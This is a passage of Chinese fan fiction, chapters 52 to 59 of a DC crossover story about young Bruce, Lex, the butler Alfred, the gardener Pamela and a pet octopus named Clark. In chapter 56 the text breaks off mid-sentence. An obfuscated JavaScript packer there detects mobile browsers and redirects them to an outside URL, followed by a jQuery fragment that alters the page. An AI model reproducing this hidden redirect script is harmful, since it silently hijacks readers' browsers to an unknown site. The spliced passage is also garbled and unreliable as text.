52.
阿尔弗雷德惊讶地发现，今天，布鲁斯和莱克斯都起得很早。他们一反往常在无所事事的假日里对被子的留念，双双洗漱完坐在沙发上打闹。看见阿尔弗雷德来了，布鲁斯冲莱克斯做了个鬼脸，一蹦一跳地跑开了。远远地传来布鲁斯的声音：“我去找帕米拉姐姐！不会错过早饭的！”
莱克斯则很稳重地双手撑住脸，他坐在沙发上，两只脚幅度很小地甩来甩去：“阿尔弗雷德叔叔，哪里有小一点儿的玻璃箱子啊？布鲁斯想带小章鱼去花园里玩。他这几天总是待在室内，今天实在坚持不下去了。”
阿尔弗雷德思索了一会，说：“应该是在帕米拉小姐那里，我们一起去找她？”
莱克斯跳下沙发，阿尔弗雷德拉住他的手，两个人一并慢吞吞地踩着布鲁斯的脚印去找帕米拉了。
53.
帕米拉今年十九岁，再过一个月开学的时候才大二，是哥谭大学植物系的一名学生。她抱着自己的假期作业往温室里走，祈祷花园里不要再出现倒塌树屋之类的大麻烦，否则帕米拉真就做不完作业，只能发邮件向教授求情。她、在和植物没有直接关系的话题上，其实对和人类交流有点儿苦手，别说发邮件请求延长作业时间，光发邮件这一件事就够她下好几天的决心了。
她揉揉自己昨天刚洗因而蓬松的红色卷发，略微弯着腰抱住作业本，穿过勉强修成样子的灌木丛，推开温室的门。不巧的是，里面已经有一个人在等着她了。看到帕米拉在门口的本子上签到上班，布鲁斯坐在椅子上向她挥手：“帕米拉姐姐！”
唉，她在心里大叹一口气。不是说布鲁斯很难缠，事实上，韦恩一家几乎是帕米拉在哥谭兼职到现在遇到的最好的一家雇主，给钱给假都很大方，只要专业素质过得去，甚至可以让你从兼职干到全职，而且还没有任何危险，堪称感动哥谭十大雇主之一。
帕米拉只是——单纯的——不喜欢和人类交谈，她无奈地说：“布鲁斯，不是说过了吗？想要看到什么样的花朵，觉得哪里改成什么样子好，这些要求写在本子上就行，不用特地来和我说的。”
布鲁斯说：“我没有什么要求！我只是想听你讲讲，花园里都有什么花，它们什么时候开放，开放时又是什么样子！”
简短——好吧，其实是挺长的一句话，总之，布鲁斯的要求让帕米拉浑身上下发冷。她怀疑自己可能出门没穿足够厚的衣服，但这是她舍友哈莉·奎因的错，那女人昨天晚上迷迷瞪瞪地回家，为了讨好帕米拉主动把脏衣篓里的衣服倒进洗衣机洗了。这确实是个很暖心的画面，如果哈莉没有顺手把帕米拉最后的几件厚外套也一并扔进去的话。
唉，帕米拉现在感觉到的寒冷和哈莉·奎因没有关系，因为她穿着她舍友最贵的厚外套出了门。她只是因为狂补作业的期望和不得不给雇主家小孩介绍一整片花园的现实，这两者之间可怕的落差而颤抖着：在上一位园丁回故乡休假后，从一月到二月，帕米拉负责了整个花园的养护，她自然知道里面有多少种不同的植物。
现在是早上六点半，而帕米拉毫不怀疑，等她讲完大概一半儿，太阳也该走过一半儿的路，到了下午四点，自己下班的时候了。
但是……但是，帕米拉不能拒绝布鲁斯，她毕竟拿着韦恩家的钱呢。一想到家里那个睡得四仰八叉的、昨天晚上十二点才做完实验，高兴地立即给自己打电话报喜的舍友，帕米拉又鼓起信心面对生活了。
54.
等到阿尔弗雷德和莱克斯手拉手到温室的时候，帕米拉已经清清嗓子讲了十分钟的课了，她感激自己对植物的热爱，也感激自己从来没上课溜号或者逃课。小布鲁斯是个彻头彻尾的“十万个为什么”，为什么为什么为什么，帕米拉听了一耳朵还不得不解释，她终于明白自己抱着书去找老师问问题时，为什么有时候老师会露出难以言喻的表情了。
她真的很想揪着这小孩的耳朵大喊：“问问问问问了那么多你记得住吗！”但是不行，帕米拉只能咬着牙，看在香甜美钞的面子上给布鲁斯仔仔细细地解释，然后迎接更加疯狂的询问潮。她暗暗对自己发誓：以后交朋友绝对不交黑发蓝眼的，要是再找到一个“长大版十万个为什么”做朋友，帕米拉就找个地方把自己埋了。
55.
所以，阿尔弗雷德没有找到人。他估计两个人应该在花园里，先从杂物堆里翻出来一个二十厘米宽二十厘米长十厘米高的玻璃箱，莱克斯摇摇头，说太小了。“至少要让章鱼能翻身吧。”他说，“有没有更大一点儿的？”
“那可能你们没办法抱着章鱼走。”阿尔弗雷德对庄园里的一切都很有印象，莱克斯时常觉得他像个搜索引擎，只不过资料库里全是韦恩庄园开头，“这个，怎么样？你们可以推着，而且也不大。”
那是一个一米长半米宽半米高的玻璃箱，最底下是木板，木板下是四个轮子。阿尔弗雷德推了推，说：“只是轮子有点滑，你们可能要注意点。”
莱克斯也试了试，很满意地说：“就这个！我会和布鲁斯说的。”
56.
六点四十五了，帕米拉心底的小人流着泪：再不去厨房赶不上员工餐了！布鲁斯，布鲁斯，你到底能不能先去吃饭？韦恩家的员工餐真的非常美味，失去一顿可是帕米拉难以忍受的痛苦。
正在此时，她听到轮子咕噜噜碾过压实的土壤的声音。她一把按住布鲁斯的肩膀，先发制人地说：“布鲁斯，你是不是饿了？我听到你肚子在咕咕叫。”
“我……我……饿了？”布鲁斯皱着脸，不太愿意接受这个理由，他才问得起兴，不吃早饭也无所谓。他很难想到对面的帕米拉姐姐满脑子都是想吃饭，因此说出的话格外——在帕米拉姐姐眼中——残忍：“我觉得我不饿啊。”
阿尔弗雷德恰到好处地出现，莱克斯推着玻璃箱跟在他身后：“但已经六点四十五了，布鲁斯少爷。”
帕米拉感激地看着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434012|184930||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阿尔弗雷德把布鲁斯揪回去吃早饭，在三个人拐了个弯再也看不见背影时，她深吸一口气，拔腿狂奔向员工厨房！
57.
布鲁斯郁郁不乐地坐在餐桌上：他弯道超车的计划还没有实行多少呢！莱克斯都找到玻璃箱子了，自己又失去一分。一会儿在花园里，估计莱克斯知道的又会比自己多，那样，布鲁斯就连失两分，大劣势！
他不由自主地咬着叉子，思考该怎么扳平比分。不管怎么说，小章鱼在布鲁斯家住着呢，莱克斯也在布鲁斯家住着，想到这点，布鲁斯毫不犹豫地给自己加上两分——这样就平了！好耶！
韦恩夫妇看着面色忽然自己阴雨转晴的布鲁斯，两位成年人的眼神交错在一起。他们都知道对方要问出一句很不礼貌的话，于是用同样的不礼貌的一句话作为回应：孩子这样是不是随你？
58.
早餐结束后，阿尔弗雷德跟着两个小男孩，去把章鱼从大水族箱里捞出来。这是他第二次碰上章鱼丝绸一样的皮肤，捞出来时险些让对方重新掉回去，幸好章鱼的腕足十分有劲啊……它把阿尔弗雷德的白手套都拽下来一截，险之又险地吊在半空。
布鲁斯和莱克斯手忙脚乱地接过死死抓着白手套的章鱼，两个人又手忙脚乱地把它搬运到小箱子里。这两个分开都很聪明——还算聪明的男孩子，在亲手搬运章鱼时，展现了难以令人理解的肢体运动问题。两个人的手指先和章鱼的腕足缠在一起，走路时跌跌撞撞摇摇摆摆好像喝酒的醉汉，最后干脆踩着地毯，来了个酣畅淋漓的平地摔。
幸好章鱼更聪明——呃，大概吧，至少和另外两个小孩比起来，勉强聪明一点儿——它在彻底摔到地面上之前，把自己从人类十指的牢笼中解救出来，再一用力，在半空中划出一个漂亮的半圆。“扑通”一声，自己把自己扔进小箱子里了。
哼哼。克拉克很骄傲地想，两个笨蛋！它特地重新爬到箱子边缘，伸出腕足，给他们两个人的脑袋一人一下。
59.
阿尔弗雷德只是看着，他用还戴着白手套的那只手平静地捂住下半张脸。布鲁斯和莱克斯不约而同地忽视了他，两个人互相诋毁彼此，又搀扶着起来。在重新站稳之后，他们互相看了一眼，又深吸一口气，好像决定了什么很重要的事，毫不留情地向小箱子扑去——
“哈哈！”布鲁斯推着箱子张狂地笑，莱克斯跑在他前面开门，克拉克缩在水里。它不知道这两个人在干什么，想了又想，觉得可能是对刚才拍头的报复。好重的自尊心！克拉克惊诧地想。不过很快，它就被难得的有实感的快速移动吸引注意力，也浮出水面，享受两个人的“报复”了。
在宇宙中，克拉克以光速移动，周围却没有能让它感受到自己究竟多快的参照物。现在，布鲁斯推动它的速度远远慢于光速，可韦恩庄园的内饰在这种速度下糊成一道道残影，这是克拉克从未体验过的。
因此它也举起腕足，以示庆祝。